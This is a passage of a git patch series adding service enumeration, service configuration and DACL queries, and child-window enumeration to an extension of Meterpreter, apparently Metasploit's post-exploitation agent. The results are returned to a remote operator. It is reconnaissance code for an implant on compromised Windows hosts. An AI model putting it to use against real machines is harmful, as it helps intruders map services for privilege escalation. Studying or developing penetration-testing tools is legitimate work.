"Unable to load advapi32.dll" ); + + dprintf( "Searching for OpenSCManagerA" ); + if( (pOpenSCManagerA = (POPENSCMANAGERA)GetProcAddress( hAdvapi32, "OpenSCManagerA" )) == NULL ) + BREAK_ON_ERROR( "Unable to locate OpenSCManagerA in advapi32.dll" ); + + dprintf( "Searching for CloseServiceHandle" ); + if( (pCloseServiceHandle = (PCLOSESERVICEHANDLE)GetProcAddress( hAdvapi32, "CloseServiceHandle" )) == NULL ) + dprintf( "Unable to locate CloseServiceHandle in advapi32.dll. Continuing anyway." ); + + dprintf( "Searching for EnumServicesStatusExA" ); + if( (pEnumServicesStatusExA = (PENUMSERVICESSTATUSEXA)GetProcAddress( hAdvapi32, "EnumServicesStatusExA" )) == NULL ) + BREAK_ON_ERROR( "Unable to locate EnumServicesStatusExA in advapi32.dll." ); + + // TODO: add support for other machine names so that this instance can query other machines on the network. + dprintf( "Opening the Service Control manager" ); + if( (scManager = pOpenSCManagerA( NULL, SERVICES_ACTIVE_DATABASEA, SC_MANAGER_CONNECT|GENERIC_READ )) == NULL ) + BREAK_ON_ERROR( "Unable to open the service control manager" ); + + bResult = pEnumServicesStatusExA( scManager, SC_ENUM_PROCESS_INFO, SERVICE_WIN32, SERVICE_STATE_ALL, NULL, 0, + &dwBytesNeeded, &dwServicesReturned, &dwResumeHandle, NULL); + + if( !bResult && dwBytesNeeded ) + { + pSsInfo = (ENUM_SERVICE_STATUS_PROCESSA*)malloc( dwBytesNeeded ); + + if( !pSsInfo ) + BREAK_ON_ERROR( "Out of memory" ); + + bResult = pEnumServicesStatusExA( scManager, SC_ENUM_PROCESS_INFO, SERVICE_WIN32, SERVICE_STATE_ALL, (LPBYTE)pSsInfo, dwBytesNeeded, + &dwBytesNeeded, &dwServicesReturned, &dwResumeHandle, NULL); + } + + if( !bResult ) + BREAK_ON_ERROR( "Failed to enumerate services" ); + + dprintf( "%s with %u entries returned", ( bResult ? "succeeded" : "failed"), dwServicesReturned ); + + for( dwServiceIndex = 0; dwServiceIndex < dwServicesReturned; ++dwServiceIndex ) + { + add_enumerated_service( pResponse, pSsInfo[dwServiceIndex].lpServiceName, pSsInfo[dwServiceIndex].lpDisplayName, + pSsInfo[dwServiceIndex].ServiceStatusProcess.dwProcessId, pSsInfo[dwServiceIndex].ServiceStatusProcess.dwCurrentState, + pSsInfo[dwServiceIndex].ServiceStatusProcess.dwServiceType & SERVICE_INTERACTIVE_PROCESS ); + } + + } while(0); + + if( pSsInfo ) + free( pSsInfo ); + + if( scManager && pCloseServiceHandle ) + pCloseServiceHandle( scManager ); + + if( hAdvapi32 ) + FreeLibrary( hAdvapi32 ); + + return dwResult; +#else + return ERROR_NOT_SUPPORTED; +#endif +} + +#ifdef _WIN32 +VOID add_enumerated_service( Packet *pResponse, LPCSTR cpName, LPCSTR cpDisplayName, DWORD dwProcessId, DWORD dwStatus, BOOL bInteractive ) +{ + Tlv entries[5] = {0}; + dprintf( "Adding Name: %s", cpName ); + entries[0].header.type = TLV_TYPE_EXT_SERVICE_ENUM_NAME; + entries[0].header.length = (DWORD)strlen( cpName ) + 1; + entries[0].buffer = (PUCHAR)cpName; + + dprintf( "Adding Display Name: %s", cpDisplayName ); + entries[1].header.type = TLV_TYPE_EXT_SERVICE_ENUM_DISPLAYNAME; + entries[1].header.length = (DWORD)strlen( cpDisplayName ) + 1; + entries[1].buffer = (PUCHAR)cpDisplayName; + + dprintf( "Adding PID: %u", dwProcessId ); + dwProcessId = htonl( dwProcessId ); + entries[2].header.type = TLV_TYPE_EXT_SERVICE_ENUM_PID; + entries[2].header.length = sizeof( DWORD ); + entries[2].buffer = (PUCHAR)&dwProcessId; + + dprintf( "Adding Status: %u", dwStatus ); + dwStatus = htonl( dwStatus ); + entries[3].header.type = TLV_TYPE_EXT_SERVICE_ENUM_STATUS; + entries[3].header.length = sizeof( DWORD ); + entries[3].buffer = (PUCHAR)&dwStatus; + + dprintf( "Adding Status: %s", (bInteractive ? "TRUE" : "FALSE" ) ); + entries[4].header.type = TLV_TYPE_EXT_SERVICE_ENUM_INTERACTIVE; + entries[4].header.length = sizeof( BOOL ); + entries[4].buffer = (PUCHAR)&bInteractive; + + dprintf( "Adding group to response" ); + packet_add_tlv_group( pResponse, TLV_TYPE_EXT_SERVICE_ENUM_GROUP, entries, 5 ); +} +#endif \ No newline at end of file diff --git a/source/extensions/extapi/service.h b/source/extensions/extapi/service.h new file mode 100644 index 0000000..bb083eb --- /dev/null +++ b/source/extensions/extapi/service.h @@ -0,0 +1,10 @@ +/*! + * @file service.c + * @brief Declarations for service management functions + */ +#ifndef _METERPRETER_SOURCE_EXTENSION_EXTAPI_SERVICE_H +#define _METERPRETER_SOURCE_EXTENSION_EXTAPI_SERVICE_H + +DWORD request_service_enum(Remote *remote, Packet *packet); + +#endif diff --git a/source/extensions/extapi/window.c b/source/extensions/extapi/window.c index 6821d60..58d9c0c 100644 --- a/source/extensions/extapi/window.c +++ b/source/extensions/extapi/window.c @@ -1,6 +1,6 @@ /*! * @file window.h - * @brief Declarations for window management functionality + * @brief Definitions for window management functionality */ #include "extapi.h" #include "window.h" diff --git a/workspace/ext_server_extapi/ext_server_extapi.vcxproj b/workspace/ext_server_extapi/ext_server_extapi.vcxproj index d57e4a1..fa32fc1 100644 --- a/workspace/ext_server_extapi/ext_server_extapi.vcxproj +++ b/workspace/ext_server_extapi/ext_server_extapi.vcxproj @@ -456,10 +456,12 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho + + @@ -484,4 +486,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho - + \ No newline at end of file From ca47145eb10e90c1a281cacbca1152bffbe3602e Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 11 Oct 2013 01:01:47 +1000 Subject: [PATCH 04/20] Add service_query to ext_server_extapi Once the user has queried the list of services they can now use the `service_query` function to get more detail about a specific service. --- source/extensions/extapi/extapi.c | 4 + source/extensions/extapi/extapi.h | 28 ++-- source/extensions/extapi/service.c | 217 +++++++++++++++++++++++++++-- source/extensions/extapi/service.h | 1 + source/extensions/extapi/window.c | 11 +- 5 files changed, 236 insertions(+), 25 deletions(-) diff --git a/source/extensions/extapi/extapi.c b/source/extensions/extapi/extapi.c index f0f6d00..0804bf9 100644 --- a/source/extensions/extapi/extapi.c +++ b/source/extensions/extapi/extapi.c @@ -28,6 +28,10 @@ Command customCommands[] = { request_service_enum, { 0 }, 0 }, { EMPTY_DISPATCH_HANDLER } }, + { "extapi_service_query", + { request_service_query, { 0 }, 0 }, + { EMPTY_DISPATCH_HANDLER } + }, // Terminator { NULL, { EMPTY_DISPATCH_HANDLER }, diff --git a/source/extensions/extapi/extapi.h b/source/extensions/extapi/extapi.h index 0f5b480..2b1602b 100644 --- a/source/extensions/extapi/extapi.h +++ b/source/extensions/extapi/extapi.h @@ -9,16 +9,24 @@ #define TLV_TYPE_EXTENSION_EXTAPI 0 -#define TLV_TYPE_EXT_WINDOW_ENUM_GROUP MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 1) -#define TLV_TYPE_EXT_WINDOW_ENUM_PID MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 2) -#define TLV_TYPE_EXT_WINDOW_ENUM_HANDLE MAKE_CUSTOM_TLV(TLV_META_TYPE_QWORD, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 3) -#define TLV_TYPE_EXT_WINDOW_ENUM_TITLE MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 4) +#define TLV_TYPE_EXT_WINDOW_ENUM_GROUP MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 1) +#define TLV_TYPE_EXT_WINDOW_ENUM_PID MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 2) +#define TLV_TYPE_EXT_WINDOW_ENUM_HANDLE MAKE_CUSTOM_TLV(TLV_META_TYPE_QWORD, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 3) +#define TLV_TYPE_EXT_WINDOW_ENUM_TITLE MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 4) -#define TLV_TYPE_EXT_SERVICE_ENUM_GROUP MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 10) -#define TLV_TYPE_EXT_SERVICE_ENUM_NAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 11) -#define TLV_TYPE_EXT_SERVICE_ENUM_DISPLAYNAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 12) -#define TLV_TYPE_EXT_SERVICE_ENUM_PID MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 13) -#define TLV_TYPE_EXT_SERVICE_ENUM_STATUS MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 14) -#define TLV_TYPE_EXT_SERVICE_ENUM_INTERACTIVE MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 15) +#define TLV_TYPE_EXT_SERVICE_ENUM_GROUP MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 10) +#define TLV_TYPE_EXT_SERVICE_ENUM_NAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 11) +#define TLV_TYPE_EXT_SERVICE_ENUM_DISPLAYNAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 12) +#define TLV_TYPE_EXT_SERVICE_ENUM_PID MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 13) +#define TLV_TYPE_EXT_SERVICE_ENUM_STATUS MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 14) +#define TLV_TYPE_EXT_SERVICE_ENUM_INTERACTIVE MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 15) + +#define TLV_TYPE_EXT_SERVICE_QUERY_STARTTYPE MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 20) +#define TLV_TYPE_EXT_SERVICE_QUERY_DISPLAYNAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 21) +#define TLV_TYPE_EXT_SERVICE_QUERY_STARTNAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 22) +#define TLV_TYPE_EXT_SERVICE_QUERY_PATH MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 23) +#define TLV_TYPE_EXT_SERVICE_QUERY_LOADORDERGROUP MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 24) +#define TLV_TYPE_EXT_SERVICE_QUERY_INTERACTIVE MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 25) +#define TLV_TYPE_EXT_SERVICE_QUERY_DACL MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 26) #endif diff --git a/source/extensions/extapi/service.c b/source/extensions/extapi/service.c index cbe5473..3defe47 100644 --- a/source/extensions/extapi/service.c +++ b/source/extensions/extapi/service.c @@ -6,6 +6,7 @@ #include "service.h" #ifdef _WIN32 +#include typedef SC_HANDLE (WINAPI * POPENSCMANAGERA)( LPCSTR lpMachineName, LPCSTR lpDatabaseName, DWORD dwDesiredAccess ); typedef BOOL (WINAPI * PCLOSESERVICEHANDLE)( SC_HANDLE hSCObject ); @@ -21,39 +22,147 @@ typedef BOOL (WINAPI * PENUMSERVICESSTATUSEXA)( LPDWORD lpResumeHandle, LPCSTR pszGroupName ); - -typedef struct _EnumServicesState -{ - Packet* pResponse; -} EnumServicesState; +typedef SC_HANDLE (WINAPI * POPENSERVICEA)( SC_HANDLE hSCManager, LPCSTR lpServiceName, DWORD dwDesiredAcces ); +typedef BOOL (WINAPI * PQUERYSERVICEOBJECTSECURITY)( + SC_HANDLE hService, + SECURITY_INFORMATION dwSecurityInformation, + PSECURITY_DESCRIPTOR lpSecurityDescriptor, + DWORD cbBufSize, + LPDWORD pcbBytesNeeded + ); +typedef BOOL (WINAPI * PQUERYSERVICECONFIGA)( + SC_HANDLE hService, + LPQUERY_SERVICE_CONFIGA lpServiceConfig, + DWORD dbBufSize, + LPDWORD pcbBytesNeeded + ); +typedef BOOL (WINAPI * PCSDTSSDA)( + PSECURITY_DESCRIPTOR SecurityDescriptor, + DWORD RequestedStringSDRevision, + SECURITY_INFORMATION SecurityInformation, + LPCSTR *StringSecurityDescriptor, + PULONG StringSecurityDescriptorLen + ); VOID add_enumerated_service( Packet *pResponse, LPCSTR cpName, LPCSTR cpDisplayName, DWORD dwProcessId, DWORD dwStatus, BOOL bInteractive ); +DWORD get_service_config( HMODULE hAdvapi32, SC_HANDLE scService, Packet *pResponse ); +DWORD get_service_dacl( HMODULE hAdvapi32, SC_HANDLE scService, Packet *pResponse ); #endif DWORD enumerate_services( Packet *response ); DWORD request_service_enum(Remote *remote, Packet *packet) { - DWORD result = ERROR_SUCCESS; + DWORD dwResult = ERROR_SUCCESS; + Packet * response = packet_create_response( packet ); + + do + { + if( !response ) { + dprintf( "Unable to create response packet" ); + dwResult = ERROR_OUTOFMEMORY; + break; + } + + dprintf( "Beginning service enumeration" ); + dwResult = enumerate_services( response ); + + } while(0); + + dprintf( "Transmitting response back to caller." ); + if( response ) + packet_transmit_response( dwResult, remote, response ); + + return dwResult; +} + +DWORD request_service_query(Remote *remote, Packet *packet) +{ + LPSTR lpServiceName = NULL; + DWORD dwResult = ERROR_SUCCESS; Packet * response = packet_create_response( packet ); do { if( !response ) { dprintf( "Unable to create response packet" ); - result = ERROR_OUTOFMEMORY; + dwResult = ERROR_OUTOFMEMORY; break; } + lpServiceName = packet_get_tlv_value_string( packet, TLV_TYPE_EXT_SERVICE_ENUM_NAME ); + if( !lpServiceName ) + BREAK_WITH_ERROR( "Missing service name parameter", ERROR_BAD_ARGUMENTS ); + dprintf( "Beginning service enumeration" ); - result = enumerate_services( response ); + dwResult = query_service( lpServiceName, response ); } while(0); dprintf( "Transmitting response back to caller." ); - packet_transmit_response( result, remote, response ); + if( response ) + packet_transmit_response( dwResult, remote, response ); + + return dwResult; +} + +DWORD query_service( LPCSTR cpServiceName, Packet *pResponse ) +{ +#ifdef _WIN32 + // currently we only support Windoze + + DWORD dwResult = ERROR_SUCCESS; + HMODULE hAdvapi32 = NULL; + POPENSCMANAGERA pOpenSCManagerA = NULL; + PCLOSESERVICEHANDLE pCloseServiceHandle = NULL; + POPENSERVICEA pOpenServiceA = NULL; + SC_HANDLE scManager = NULL; + SC_HANDLE scService = NULL; + + do + { + dprintf( "Loading advapi32.dll" ); + if( (hAdvapi32 = LoadLibraryA( "advapi32.dll" )) == NULL) + BREAK_ON_ERROR( "Unable to load advapi32.dll" ); + + dprintf( "Searching for OpenSCManagerA" ); + if( (pOpenSCManagerA = (POPENSCMANAGERA)GetProcAddress( hAdvapi32, "OpenSCManagerA" )) == NULL ) + BREAK_ON_ERROR( "Unable to locate OpenSCManagerA in advapi32.dll" ); + + dprintf( "Searching for CloseServiceHandle" ); + if( (pCloseServiceHandle = (PCLOSESERVICEHANDLE)GetProcAddress( hAdvapi32, "CloseServiceHandle" )) == NULL ) + dprintf( "Unable to locate CloseServiceHandle in advapi32.dll. Continuing anyway." ); + + dprintf( "Searching for OpenServiceA" ); + if( (pOpenServiceA = (POPENSERVICEA)GetProcAddress( hAdvapi32, "OpenServiceA" )) == NULL ) + BREAK_ON_ERROR( "Unable to locate OpenServiceA in advapi32.dll." ); - return result; + dprintf( "Opening the Service Control manager" ); + if( (scManager = pOpenSCManagerA( NULL, SERVICES_ACTIVE_DATABASEA, SC_MANAGER_CONNECT|GENERIC_READ )) == NULL ) + BREAK_ON_ERROR( "Unable to open the service control manager" ); + + dprintf( "Opening the Service: %s", cpServiceName ); + if( (scService = pOpenServiceA( scManager, cpServiceName, SC_MANAGER_CONNECT|GENERIC_READ )) == NULL ) + BREAK_ON_ERROR( "Unable to open the service: %s", cpServiceName ); + + get_service_config( hAdvapi32, scService, pResponse ); + get_service_dacl( hAdvapi32, scService, pResponse ); + + } while(0); + + if( scService && pCloseServiceHandle ) + pCloseServiceHandle( scService ); + + if( scManager && pCloseServiceHandle ) + pCloseServiceHandle( scManager ); + + if( hAdvapi32 ) + FreeLibrary( hAdvapi32 ); + + return dwResult; +#else + return ERROR_NOT_SUPPORTED; +#endif } DWORD enumerate_services( Packet *pResponse ) @@ -174,4 +283,92 @@ VOID add_enumerated_service( Packet *pResponse, LPCSTR cpName, LPCSTR cpDisplayN dprintf( "Adding group to response" ); packet_add_tlv_group( pResponse, TLV_TYPE_EXT_SERVICE_ENUM_GROUP, entries, 5 ); } + +DWORD get_service_config( HMODULE hAdvapi32, SC_HANDLE scService, Packet *pResponse ) +{ + DWORD dwResult = ERROR_SUCCESS; + PQUERYSERVICECONFIGA pQueryServiceConfigA = NULL; + LPQUERY_SERVICE_CONFIGA lpServiceConfig = NULL; + DWORD cbBytesNeeded = 0; + + do + { + dprintf( "Searching for QueryServiceConfigA" ); + if( (pQueryServiceConfigA = (PQUERYSERVICECONFIGA)GetProcAddress( hAdvapi32, "QueryServiceConfigA" )) == NULL ) + BREAK_ON_ERROR( "Unable to locate QueryServiceConfigA in advapi32.dll." ); + + if( pQueryServiceConfigA( scService, NULL, 0, &cbBytesNeeded ) ) + BREAK_ON_ERROR( "This query should have failed" ); + + if( GetLastError() != ERROR_INSUFFICIENT_BUFFER ) + BREAK_ON_ERROR( "Unexpected error from QueryServiceConfigA" ); + + if( (lpServiceConfig = (LPQUERY_SERVICE_CONFIGA)malloc( cbBytesNeeded )) == NULL ) + BREAK_ON_ERROR( "Out of memory" ); + + if( !pQueryServiceConfigA( scService, lpServiceConfig, cbBytesNeeded, &cbBytesNeeded ) ) + BREAK_ON_ERROR( "QueryServiceConfigA failed" ); + + dprintf( "Start type: %u", lpServiceConfig->dwStartType ); + packet_add_tlv_uint( pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STARTTYPE, lpServiceConfig->dwStartType ); + packet_add_tlv_string( pResponse, TLV_TYPE_EXT_SERVICE_QUERY_DISPLAYNAME, lpServiceConfig->lpDisplayName ); + packet_add_tlv_string( pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STARTNAME, lpServiceConfig->lpServiceStartName ); + packet_add_tlv_string( pResponse, TLV_TYPE_EXT_SERVICE_QUERY_PATH, lpServiceConfig->lpBinaryPathName ); + packet_add_tlv_string( pResponse, TLV_TYPE_EXT_SERVICE_QUERY_LOADORDERGROUP, lpServiceConfig->lpLoadOrderGroup ? lpServiceConfig->lpLoadOrderGroup : "" ); + packet_add_tlv_bool( pResponse, TLV_TYPE_EXT_SERVICE_QUERY_INTERACTIVE, lpServiceConfig->dwServiceType & SERVICE_INTERACTIVE_PROCESS); + + } while(0); + + if( lpServiceConfig ) + free( lpServiceConfig ); + + return dwResult; +} + +DWORD get_service_dacl( HMODULE hAdvapi32, SC_HANDLE scService, Packet *pResponse ) +{ + DWORD dwResult = ERROR_SUCCESS; + DWORD dwBytesNeeded = 0; + PQUERYSERVICEOBJECTSECURITY pQueryServiceObjectSecurity = NULL; + PCSDTSSDA pCSDTSSDA = NULL; + PSECURITY_DESCRIPTOR pSecurityDescriptor = NULL; + LPSTR lpDaclString; + + do + { + dprintf( "Searching for QueryServiceObjectSecurity" ); + if( (pQueryServiceObjectSecurity = (PQUERYSERVICEOBJECTSECURITY)GetProcAddress( hAdvapi32, "QueryServiceObjectSecurity" )) == NULL ) + BREAK_ON_ERROR( "Unable to locate QueryServiceObjectSecurity in advapi32.dll." ); + + dprintf( "Searching for ConvertSecurityDescriptorToStringSecurityDescriptorA" ); + if( (pCSDTSSDA = (PCSDTSSDA)GetProcAddress( hAdvapi32, "ConvertSecurityDescriptorToStringSecurityDescriptorA" )) == NULL ) + BREAK_ON_ERROR( "Unable to locate ConvertSecurityDescriptorToStringSecurityDescriptorA in advapi32.dll." ); + + if( pQueryServiceObjectSecurity( scService, DACL_SECURITY_INFORMATION, (PSECURITY_DESCRIPTOR)&pSecurityDescriptor, 0, &dwBytesNeeded ) ) + BREAK_ON_ERROR( "Call should have failed" ); + + if( GetLastError() != ERROR_INSUFFICIENT_BUFFER ) + BREAK_ON_ERROR( "Unexpected error getting security" ); + + if( (pSecurityDescriptor = (PSECURITY_DESCRIPTOR)malloc( dwBytesNeeded )) == NULL ) + BREAK_WITH_ERROR( "Out of memory", ERROR_OUTOFMEMORY ); + + if( !pQueryServiceObjectSecurity( scService, DACL_SECURITY_INFORMATION, pSecurityDescriptor, dwBytesNeeded, &dwBytesNeeded ) ) + BREAK_ON_ERROR( "Unable to query security information for DACL_SECURITY_INFORMATION" ); + + if( !pCSDTSSDA( pSecurityDescriptor, SDDL_REVISION_1, DACL_SECURITY_INFORMATION, &lpDaclString, NULL ) ) + BREAK_ON_ERROR( "Unable to get DACL string" ); + + packet_add_tlv_string( pResponse, TLV_TYPE_EXT_SERVICE_QUERY_DACL, lpDaclString ); + + } while(0); + + if( lpDaclString ) + LocalFree( lpDaclString ); + + if( pSecurityDescriptor ) + free( pSecurityDescriptor ); + + return dwResult; +} #endif \ No newline at end of file diff --git a/source/extensions/extapi/service.h b/source/extensions/extapi/service.h index bb083eb..ca75b9e 100644 --- a/source/extensions/extapi/service.h +++ b/source/extensions/extapi/service.h @@ -6,5 +6,6 @@ #define _METERPRETER_SOURCE_EXTENSION_EXTAPI_SERVICE_H DWORD request_service_enum(Remote *remote, Packet *packet); +DWORD request_service_query(Remote *remote, Packet *packet); #endif diff --git a/source/extensions/extapi/window.c b/source/extensions/extapi/window.c index 58d9c0c..f290075 100644 --- a/source/extensions/extapi/window.c +++ b/source/extensions/extapi/window.c @@ -101,26 +101,27 @@ DWORD enumerate_windows( Packet *response ) DWORD request_window_enum( Remote *remote, Packet *packet ) { - DWORD result = ERROR_SUCCESS; + DWORD dwResult = ERROR_SUCCESS; Packet * response = packet_create_response( packet ); do { if( !response ) { dprintf( "Unable to create response packet" ); - result = ERROR_OUTOFMEMORY; + dwResult = ERROR_OUTOFMEMORY; break; } dprintf( "Beginning window enumeration" ); - result = enumerate_windows( response ); + dwResult = enumerate_windows( response ); } while(0); dprintf( "Transmitting response back to caller." ); - packet_transmit_response( result, remote, response ); + if( response ) + packet_transmit_response( dwResult, remote, response ); - return result; + return dwResult; } VOID add_enumerated_window( Packet *pResponse, QWORD qwHandle, const char* cpWindowTitle, DWORD dwProcessId, BOOL bVisible ) From e6364481fd009de72910bd1d38c8729a6d9fc656 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 15 Oct 2013 17:52:51 +1000 Subject: [PATCH 05/20] Add child window enumeration and flag Enumeration of child windows is now possible if the appropriate TLV is included in the request message. Inclusion of "unknown" windows is also possible now, again if the appropriate TLV is included. --- source/extensions/extapi/extapi.h | 1 + source/extensions/extapi/window.c | 42 ++++++++++++++++++++----------- 2 files changed, 29 insertions(+), 14 deletions(-) diff --git a/source/extensions/extapi/extapi.h b/source/extensions/extapi/extapi.h index 2b1602b..a145132 100644 --- a/source/extensions/extapi/extapi.h +++ b/source/extensions/extapi/extapi.h @@ -13,6 +13,7 @@ #define TLV_TYPE_EXT_WINDOW_ENUM_PID MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 2) #define TLV_TYPE_EXT_WINDOW_ENUM_HANDLE MAKE_CUSTOM_TLV(TLV_META_TYPE_QWORD, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 3) #define TLV_TYPE_EXT_WINDOW_ENUM_TITLE MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 4) +#define TLV_TYPE_EXT_WINDOW_ENUM_INCLUDEUNKNOWN MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 5) #define TLV_TYPE_EXT_SERVICE_ENUM_GROUP MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 10) #define TLV_TYPE_EXT_SERVICE_ENUM_NAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 11) diff --git a/source/extensions/extapi/window.c b/source/extensions/extapi/window.c index f290075..c721cf1 100644 --- a/source/extensions/extapi/window.c +++ b/source/extensions/extapi/window.c @@ -11,13 +11,14 @@ DWORD enumerate_windows( Packet *response ); #ifdef _WIN32 #define MAX_WINDOW_TITLE 256 -typedef BOOL (WINAPI * PENUMDESKTOPWINDOWS)( HDESK hDesktop, WNDENUMPROC enumProc, LPARAM lparam ); +typedef BOOL (WINAPI * PENUMCHILDWINDOWS)( HWND hWndParent, WNDENUMPROC enumProc, LPARAM lparam ); typedef int (WINAPI * PGETWINDOWTEXA)( HWND hWnd, LPSTR lpString, int nMaxCount ); typedef DWORD (WINAPI * PGETWINDOWTHREADPROCESSID)( HWND hWnd, LPDWORD lpdwProcessId ); typedef struct _EnumWindowsState { Packet* pResponse; + BOOL bIncludeUnknown; PGETWINDOWTEXA pGetWindowTextA; PGETWINDOWTHREADPROCESSID pGetWindowThreadProcessId; } EnumWindowsState; @@ -35,9 +36,12 @@ BOOL CALLBACK enumerate_windows_callback( HWND hWnd, LPARAM lParam ) { dprintf( "Getting window title %p", pState->pGetWindowTextA ); if( pState->pGetWindowTextA( hWnd, windowTitle, MAX_WINDOW_TITLE ) == 0 ) { - strncpy_s( windowTitle, MAX_WINDOW_TITLE, "", MAX_WINDOW_TITLE - 1 ); - dprintf( "Unable to get window title. Skipping." ); - break; + dprintf( "Unable to get window title. Setting to ." ); + if( pState->bIncludeUnknown ) { + strncpy_s( windowTitle, MAX_WINDOW_TITLE, "", MAX_WINDOW_TITLE - 1 ); + } else { + break; + } } dprintf( "Getting process ID %p", pState->pGetWindowThreadProcessId ); @@ -51,14 +55,14 @@ BOOL CALLBACK enumerate_windows_callback( HWND hWnd, LPARAM lParam ) } #endif -DWORD enumerate_windows( Packet *response ) +DWORD enumerate_windows( Packet *response, BOOL bIncludeUnknown, QWORD parentWindow ) { #ifdef _WIN32 // currently we only support Windoze DWORD dwResult; HMODULE hUser32 = NULL; - PENUMDESKTOPWINDOWS pEnumDesktopWindows; + PENUMCHILDWINDOWS pEnumChildWindows; EnumWindowsState state; do @@ -67,10 +71,6 @@ DWORD enumerate_windows( Packet *response ) if( (hUser32 = LoadLibraryA( "user32.dll" )) == NULL) BREAK_ON_ERROR( "Unable to load user32.dll" ); - dprintf( "Searching for EnumDesktopWindows" ); - if( (pEnumDesktopWindows = (PENUMDESKTOPWINDOWS)GetProcAddress( hUser32, "EnumDesktopWindows" )) == NULL ) - BREAK_ON_ERROR( "Unable to locate EnumDesktopWindows in user32.dll" ); - dprintf( "Searching for GetWindowTextA" ); if( (state.pGetWindowTextA = (PGETWINDOWTEXA)GetProcAddress( hUser32, "GetWindowTextA" )) == NULL ) BREAK_ON_ERROR( "Unable to locate GetWindowTextA in user32.dll" ); @@ -82,10 +82,15 @@ DWORD enumerate_windows( Packet *response ) dprintf( "Found GetWindowThreadProcessId %p", state.pGetWindowThreadProcessId ); state.pResponse = response; + state.bIncludeUnknown = bIncludeUnknown; + + dprintf( "Searching for EnumChildWindows" ); + if( (pEnumChildWindows = (PENUMCHILDWINDOWS)GetProcAddress( hUser32, "EnumChildWindows" )) == NULL ) + BREAK_ON_ERROR( "Unable to locate EnumChildWindows in user32.dll" ); - dprintf( "Beginning enumeration of desktop windows" ); - if( !pEnumDesktopWindows( NULL, (WNDENUMPROC)enumerate_windows_callback, (LPARAM)&state ) ) - BREAK_ON_ERROR( "Failed to enumerate windows" ); + dprintf( "Beginning enumeration of child windows with parent %u", parentWindow ); + if( !pEnumChildWindows( parentWindow != 0 ? (HWND)parentWindow : NULL, (WNDENUMPROC)enumerate_windows_callback, (LPARAM)&state ) ) + BREAK_ON_ERROR( "Failed to enumerate child windows" ); dwResult = ERROR_SUCCESS; } while(0); 